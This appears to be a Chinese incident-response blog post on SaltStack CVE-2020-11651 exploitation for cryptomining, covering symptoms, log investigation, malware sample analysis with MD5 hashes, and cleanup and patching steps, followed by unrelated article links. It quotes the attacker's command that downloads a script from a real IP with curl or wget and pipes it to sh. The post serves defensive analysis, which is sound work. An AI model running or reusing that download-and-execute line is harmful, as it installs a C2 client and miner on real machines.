描述

SaltStack是一套C/S架构的运维工具,服务端口默认为4505/4506,两个端口如果对外网开放危害非常大,黑客利用SaltStack的远程命令执行漏洞CVE-2020-11651可以直接绕过Salt-Master的认证机制,调用相关函数向Salt-Minion下发指令执行系统命令,最终导致挖矿。

现象

受害Salt-Minion机器上存在挖矿进程salt-minions

tmp目录下存在可疑二进制文件:

  • salt-store
  • salt-minions

排查

  1. 确定所有salt-master机器列表;
  2. 查看当天salt-master的日志文件/var/log/salt/minion,是否存在可疑命令执行,筛选cmdmod

  3. 找到可疑的命令执行内容:
(curl -s 217.12.210.192/sa.sh||wget -q -O- 217.12.210.192/sa.sh)|sh
  1. 确认SaltStack版本,是否存在漏洞CVE-2020-11651

样本分析

共三个样本:

文件名 MD5
sa.sh 204780df7dd946401d6e545a130689fb
salt-store 8ec3385e20d6d9a88bc95831783beaeb
salt-minions a28ded80d7ab5c69d6ccde4602eef861

sa.sh

这是黑客原始下载执行的脚本文件,salt-store从这里下载下载的。

该脚本执行后首先进行一些系统设置:关闭防火墙、设置ulimit、关闭防火墙、关闭watchdog告警,并且将系统syslog日志删除:

然后检测服务器上是否安装安骑士和云镜服务,有则将进程停止并下载对应的卸载脚本进行卸载操作:

之后通过netstat筛选服务器开启的端口和连接,将对应进程全部停止:

然后通过pspkillpgrepkillall筛选进程名和参数,将其对应的进程杀掉,并且还会清理cpu资源占用超过10%的进程,保证有更多的硬件资源可以利用:



之后会清理/tmp/etc/下其他挖矿进程的二进制文件:

该脚本还会清理docker运行的挖矿程序:

脚本最后会从远程下载恶意二进制文件salt-store到/tmp/var/tmp下:

download2函数中会从bitbucket下载恶意二进制文件,如果失败会调用download3函数从217.12.210.192下载:

下载之后,将包含以下字段的计划任务删除,这一步可以将其他挖矿和一些HIDS服务的守护任务删掉:

salt-store

该文件是C2客户端,从控制端接收指令执行。

运行后该程序会释放矿机文件salt-minions/tmp/下:

salt-store运行期间会和以下url进行http交互:

对该文件静态分析后,发现该程序具有如下功能,包括运行矿机、执行远端指令、端口扫描等:

从样本分析结果看,可以判定这是一个命令控制系统(C2)的客户端,程序运行之后主机会在远端上线,黑客可以登录远端给客户机下发指令启动挖矿程序。

salt-minions

salt-store运行时释放。

该文件有明显的xmrig特征:

所以该文件是一个xmrig的矿机。

清理恢复

清理步骤

  1. 停止恶意进程:kill -9 `pidof salt-store` && kill -9 `pidof salt-minions`
  2. 删除恶意文件:rm -rf /tmp/salt-* /var/tmp/salt-*

整改恢复

  1. 升级SaltStack到最新版本,修补CVE-2020-11651漏洞,升级前建议做好快照备份措施,安全版本下载地址参考:https://repo.saltstack.com
  2. 设置SaltStack为自动更新,及时获取相应补丁;
  3. Salt Master默认监听端口(默认45054506)设置为禁止对公网开放,或仅对可信对象开放,避免被黑客利用;

相关链接

SaltStack漏洞导致的挖矿排查思路的更多相关文章

  1. Linux入侵类问题排查思路

    深入分析,查找入侵原因 一.检查隐藏帐户及弱口令 检查服务器系统及应用帐户是否存在 弱口令: 检查说明:检查管理员帐户.数据库帐户.MySQL 帐户.tomcat 帐户.网站后台管理员帐户等密码设置是 ...

  2. Mysql 高负载排查思路

    Mysql 高负载排查思路 发现问题 top命令 查看服务器负载,发现 mysql竟然百分之两百的cpu,引起Mysql 负载这么高的原因,估计是索引问题和某些变态SQL语句. 排查思路 1. 确定高 ...

  3. 系统运行缓慢,CPU 100%,以及Full GC次数过多问题的排查思路

    前言 处理过线上问题的同学基本上都会遇到系统突然运行缓慢,CPU 100%,以及Full GC次数过多的问题.当然,这些问题的最终导致的直观现象就是系统运行缓慢,并且有大量的报警. 本文主要针对系统运 ...

  4. Linux 服务器性能问题排查思路

    一个基于 Linux 操作系统的服务器运行的同时,也会表征出各种各样参数信息.通常来说运维人员.系统管理员会对这些数据会极为敏感,但是这些参数对于开发者来说也十分重要,尤其当你的程序非正常工作的时候, ...

  5. MySql CPU彪高到百分之1000的排查思路

    You need to enable JavaScript to run this app.   原文内容来自于LZ(楼主)的印象笔记,如出现排版异常或图片丢失等情况,可查看当前链接:https:// ...

  6. Flink on YARN(下):常见问题与排查思路

    Flink 支持 Standalone 独立部署和 YARN.Kubernetes.Mesos 等集群部署模式,其中 YARN 集群部署模式在国内的应用越来越广泛.Flink 社区将推出 Flink ...

  7. 超长可视化指南!带你理清K8S部署的故障排查思路,让bug无处遁形

    本文将帮助你厘清在Kubernetes中调试 deployment的思路.下图是完整的故障排查思路,如果你想获得更清晰的图片,请在公众号后台(RancherLabs)回复"troublesh ...

  8. FeignClient注解属性configuration不生效问题排查思路

    FeignClient注解属性configuration不生效问题排查思路 问题背景 我们知道,"如果需要自定义单个Feign配置,Feign的@Configuration 注解的类不能与@ ...

  9. Dubbo No provider问题排查思路

    本文已收录 https://github.com/lkxiaolou/lkxiaolou 欢迎star. 不想看字的同学可直接划到底部查看思维导图 问题分析 使用过Dubbo的朋友很多都碰到过如下报错 ...

随机推荐

  1. Jmeter常用元件

    1.测试计划:测试元件的容器,相当于一个项目名称 线程组:  2.监听器:负责收集测试结果,同时也被告知了结果显示的方式 (1)查看结果树:看具体某个请求——请求响应,结果明细 (2)聚合报告:汇总报 ...

  2. 字典树&&AC自动机---看完大概应该懂了吧。。。。

    目录 字典树 AC自动机 字典树 又称单词查找树,Trie树,是一种树形结构,是一种哈希树的变种.典型应用是用于统计,排序和保存大量的字符串(但不仅限于字符串),所以经常被搜索引擎系统用于文本词频统计 ...

  3. JNDI数据源的配置及使用 (2010-11-21 21:16:43)转载▼

    JNDI数据源的配置及使用 (2010-11-21 21:16:43)转载▼ 标签: 杂谈 分类: 数据库 数据源的作用 JDBC操作的步骤: 1. 加载驱动程序 2. 连接数据库 3. 操作数据库 ...

  4. 将class 编译后文件内容输入到 文本文件中的命令

    javap -c InnerTest$1 > InnerTest$1.txt

  5. SpringBoot事件监听机制源码分析(上) SpringBoot源码(九)

    SpringBoot中文注释项目Github地址: https://github.com/yuanmabiji/spring-boot-2.1.0.RELEASE 本篇接 SpringApplicat ...

  6. Thinking in Java,Fourth Edition(Java 编程思想,第四版)学习笔记(十三)之Strings

    Immutable Strings Objects of the String class are immutable. If you examine the JDK documentation fo ...

  7. VMware15 安装Mac 10.14系统/苹果系统

    安装环境 Windows专业版 VMware Workstation Pro 15 所需资源 VMware Workstation Pro 15.0.0 Build 10134415 官网下载地址:h ...

  8. python列表简介

    什么是列表?如何使用列表?https://docs.python.org/3/library/stdtypes.html#sequence-types-list-tuple-range 列表相关知识: ...

  9. 两种异常(CPU异常、用户模拟异常)的收集

    Windows内核分析索引目录:https://www.cnblogs.com/onetrainee/p/11675224.html 两种异常(CPU异常.用户模拟异常)的收集  文章的核心:异常收集 ...

  10. HTTP 前世今生

    HTTP 协议在我们身边随处可见,只要上网就离不开它.不论是用浏览器还是 App,不论是看新闻.短视频还是听音乐.玩游戏,后面总会有 HTTP 在默默为你服务. Http 协议是怎么来的?最开始是什么 ...